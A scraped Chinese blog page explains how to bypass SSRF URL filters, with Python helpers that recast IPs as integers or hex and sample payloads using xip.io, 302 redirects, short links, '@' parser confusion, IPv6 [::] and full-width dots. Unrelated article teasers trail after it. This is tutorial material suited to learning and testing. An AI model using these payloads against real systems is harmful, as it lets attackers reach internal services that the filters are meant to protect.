def ip_to_int(ip):
    parts = ip.split('.')
    return (int(parts[0]) << 24) + (int(parts[1]) << 16) + (int(parts[2]) << 8) + int(parts[3])


def int_to_ip(ip_int):
    return '.'.join(str((ip_int >> i) & 0xFF) for i in [24, 16, 8, 0])


def ip_to_hex(ip):
    hex_ip = '0x'+''.join(hex(int(x))[2:].zfill(2) for x in ip.split('.'))
    return hex_ip
  • xip.io绕过URL黑名单过滤缺陷

xip.io 是一个公共 DNS 服务,提供自动解析功能,尤其适用于开发和测试环境。该服务由 Basecamp 开发并免费提供使用。我们可以将一个带有 IP 地址的域名作为 xip.io 子域名使用,例如 192.168.1.1.xip.io。xip.io 服务会将这个子域名解析为指定的 IP 地址(例如 192.168.1.1)。这样,我们就可以通过这个域名直接访问本地网络中的服务器,而不需要修改任何 DNS 配置。借用到SSRF也是一样的

  • 302跳转绕过

如果Web服务允许30x跳转,并且在传入一个链接后,该链接可以正常通过并解析,我们就可以尝试将这个页面重定向到其它位置,借由重定向发起中转

  • 使用短链接绕过限制

短链接(Short URL)的原理是将一个长的URL转换成一个更短的URL,以便更方便地分享和传播。短链接服务通过创建一个唯一的短标识符来映射到原始的长URL。当用户访问短链接时,服务会将他们重定向到原始的长URL。

生成短链接

  • 用户提交一个长URL到短链接服务。
  • 服务生成一个唯一的短标识符,通常是一个随机或基于某种算法生成的字符串(如 abc123)。
  • 这个短标识符与长URL一起存储在数据库中。
  • 短链接服务返回一个新的短链接,通常是服务域名加上短标识符,例如 http://short.url/abc123

访问短链接

  • 用户点击或访问短链接。
  • 短链接服务接收到请求,解析出短标识符。
  • 服务在数据库中查找与该短标识符对应的长URL。
  • 找到长URL后,服务返回一个重定向响应(通常是HTTP 301或302状态码),将用户重定向到长URL。
  • 使用畸形URL绕过限制

利用HTTP身份验证绕过,如下实际上是以用户名abcd连接到站点127.0.0.1:

http://abcd@127.0.0.1

在解析带有 @ 符号的URL时,不同的解析器可能会有不同的行为。这主要是因为 @ 符号在URL中有特定的语法意义,它通常用于包含用户信息(例如用户名和密码)。

http://www.aaa.com@www.bbb.com@www.ccc.com

PHP的 parse_url 函数在解析这种带有多个 @ 符号的URL时,倾向于将最后一个 @ 符号后的部分识别为主机。也就是说,它认为 userinfo 部分可以包含多个 @ 符号。因此以上URL会被识别为www.ccc.com

libcurl在处理这种URL时,遵循一种更严格的解析方式,它只将第一个 @ 符号之前的部分识别为用户信息,后面的部分识别为主机。因此上面会被解析为www.bbb.com@www.ccc.com

利用URL其他格式字符符绕过:

http://127.0.0.1#12345

http://127.0.0.1?12345

利用IPV6地址绕过:

http://[::]:80/ 

在IPv6地址中,[::] 是一个简写形式,表示全零地址(即 0000:0000:0000:0000:0000:0000:0000:0000)。全零地址::通常表示本地设备的所有IPv6地址,即“未指定地址”,用作初始化,但在实际使用中它代表本地设备。

利用全角字符进行绕过:

输入 127。0。0。1。,有的服务可能会自动将其纠正为 127.0.0.1,因为它识别到这是一个IP地址,而全角句号 不应存在于标准IP地址中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1688163.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言/数据结构——每日一题(有效的括号)

一.前言 如果想要使用C语言来解决这道题——有效的括号&#xff1a;https://leetcode.cn/problems/valid-parentheses/description/我们必须要借用上一篇我们所讲的内容——栈的实现&#xff1a;https://blog.csdn.net/yiqingaa/article/details/138923750?spm1001.2014.3001.…

leetcode124 二叉树中的最大路径和-dp

题目 二叉树中的 路径 被定义为一条节点序列&#xff0c;序列中每对相邻节点之间都存在一条边。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给你一个二叉树的根节点 root &…

SpringCloud微服务04-Elasticsearch-DSL查询-聚合

一、Elasticsearch 搜索引擎&#xff0c;响应速度非常快&#xff0c;特别是对大数据量的情况 1.初始elasticsearch 如果只需要商品搜索&#xff0c;百度这种搜索网站&#xff0c;只需要第二个就够了 docker部署&#xff1a;day08-Elasticsearch - 飞书云文档 (feishu.cn) e…

我爱我家:租赁下位替代买房,能行吗?

我爱我家&#xff0c;凭什么五天四板&#xff1f; 上周五的楼市组合拳出台后&#xff0c;地产板块迎来高潮。 这其中最火的不是我们常说的“招宝万金”&#xff0c;而是——我爱我家。 五天四板&#xff0c;一个月不到&#xff0c;股价轻松翻翻。 公司有什么变化吗&#xff1…

蓝桥杯嵌入式国赛笔记(2):拓展板按键程序设计

目录 1、前言 2、电路原理 3、代码编写 3.1 读取Btn电压 3.2 检索按键 3.3 main文件编写 3.3.1 进行变量定义 3.3.2 AD_Key函数 3.3.3 LCD函数 3.3.4 main函数 3.3.5 完整代码 4、测试 5、总结 1、前言 本文进行拓展板按键程序设计&#xff0c;拓展板的按键是通…

分布式事务解决方案(强一致性)

强一致性事务概述 分布式事务领域&#xff0c;最早采用的是符合CAP理论的强一致性事务方案来解决分布式事务问题&#xff0c;强一致性分布式事务要求在任意时刻查询参与全局事务的各个节点的数据都是一致的 典型案例&#xff1a; 包括DTP模型&#xff08;全局事务模型&#x…

【Crypto】MD5

文章目录 MD5解题感悟 MD5 提示的很明显MD5 小小flag&#xff0c;拿下&#xff01; 解题感悟 没啥感悟…

LLM 大模型学习必知必会系列(十一):大模型自动评估理论和实战以及大模型评估框架详解

LLM 大模型学习必知必会系列(十一)&#xff1a;大模型自动评估理论和实战以及大模型评估框架详解 0.前言 大语言模型&#xff08;LLM&#xff09;评测是LLM开发和应用中的关键环节。目前评测方法可以分为人工评测和自动评测&#xff0c;其中&#xff0c;自动评测技术相比人工…

android14上使用frida,

由于之前使用frida已经是2年前了,后来一直没有研究两年以后 首先手机得root才可以, 我使用的是一加9pro, root方法参考一加全能盒子、一加全能工具箱官方网站——大侠阿木 (daxiaamu.com)​编辑https://optool.daxiaamu.com/index.php 由于之前使用的是frida 15.1.1在and…

Amesim示例篇-案例1:空间中的铝块散热

前言 本文将通过一个案例继续对Thermal库的元件进一步讲解。 案例1&#xff1a;一个300mm*300mm*1000mm&#xff08;长*宽*高&#xff09;的铝板初始温度为45℃&#xff0c;竖直在环境为25℃的空间内静置60min。对流换热系数设置为5W/m2K。本文将通过两种建模方法对铝块的温度…

微软刚发布的Copilot+PC为什么让Intel和AMD尴尬?2024 AI PC元年——产业布局及前景展望

美国东部时间5月20日在微软位于华盛顿的新园区举行的发布会上&#xff0c;宣布将旗下AI助手Copilot全面融入Windows系统&#xff0c;能够在不调用云数据中心的情况下处理更多人工智能任务。 “将世界作为一个提示词就从Windows系统开始”。微软的新PC将是“CopilotPC”&#xf…

树洞陪聊系统源码/陪聊/陪玩/树洞/陪陪/公众号开发/源码交付/树洞系统源码

独立版本源码交付&#xff0c;自研UI和前后端代码 平台自带店员&#xff0c;无需自主招募&#xff0c;搭建直接运营 支持三方登录&#xff0c;官方支付、虎皮椒、易支付/码支付 支持首单体验、盲盒订单、指定下单等多个模式 支持钱包预充值、店员收藏、订单评价等功能 支持…

You must call removeView() on the child‘s parent first.异常分析及解决

问题描述 对试图组件快速的左右滑动过程&#xff0c;发现某一张图片没加载出来&#xff0c;偶现crash 问题分析 view在上次已经是某个ParentView的child&#xff0c;然而现在又把它做为另外一个view的child&#xff0c;于是出现一个view有两个parent。所以就产生了这个错误。…

深入了解Python代码中的缩进与逻辑结构

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、认识缩进在代码中的重要性 代码示例&#xff1a;天气与打球决策 二、缩进与逻辑嵌套 …

uniapp使用内置的switch组件的问题

说明 开关选择器 属性说明 属性名类型默认值说明平台差异说明checkedBooleanfalse是否选中disabledBooleanfalse是否禁用不支持&#xff1a;抖音小程序、飞书小程序typeStringswitch 样式 有效值&#xff1a;switch、checkbox colorColorswitch的颜色&#xff0c;通css的co…

Tensorflow入门实战 P01-实现手写数字识别mnist

目录 1、背景&#xff1a;MNIST手写数字识别 2、完整代码&#xff08;Tensorflow&#xff09;&#xff1a; 3、运行过程及结果&#xff1a; 4、小结&#xff08;还是很清晰的&#xff09; 5、 展望 &#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客…

摔到脑袋,没有骨折,没有脱位,脊髓怎么会损伤?

在一个周末的午后&#xff0c;小明在公园的足球场上不慎摔倒&#xff0c;头部重重撞到草地。虽然很快恢复了意识&#xff0c;但回家后却感到颈部僵硬&#xff0c;四肢无力。家人急忙带他前往医院就医做了相关检查。 经过医生的仔细检查&#xff0c;结果显示小明的头部没有骨折或…

《暮色将尽》跨越世纪的历程,慢慢走向并完善自我

《暮色将尽》跨越世纪的历程&#xff0c;慢慢走向并完善自我 戴安娜阿西尔&#xff08;1917-2019&#xff09;&#xff0c;英国知名文学编辑、作家。著有《暮色将尽》《昨日清晨》《未经删节》《长书当诉》等。 曾嵘 译 文章目录 《暮色将尽》跨越世纪的历程&#xff0c;慢慢走…

FastGPT私有化部署+OneAPI配置大模型

介绍 FastGPT 是一个基于 LLM 大语言模型的知识库问答系统&#xff0c;提供开箱即用的数据处理、模型调用等能力。同时可以通过 Flow 可视化进行工作流编排&#xff0c;从而实现复杂的问答场景&#xff01; 官网地址 https://doc.fastai.site/docs/intro/ 部署 FastGPT提供…

atomic包装自定义类型

在学习原子变量之初&#xff0c;学过很多它的操作&#xff0c;但是很多都是在内置类型&#xff08;int、long等&#xff09;上进行的学习和实验。这次由于工作需要&#xff0c;要使用 atomic 来包装自定义类型&#xff0c;因此打算好好探究一番&#xff0c;把它彻底搞懂。 当要…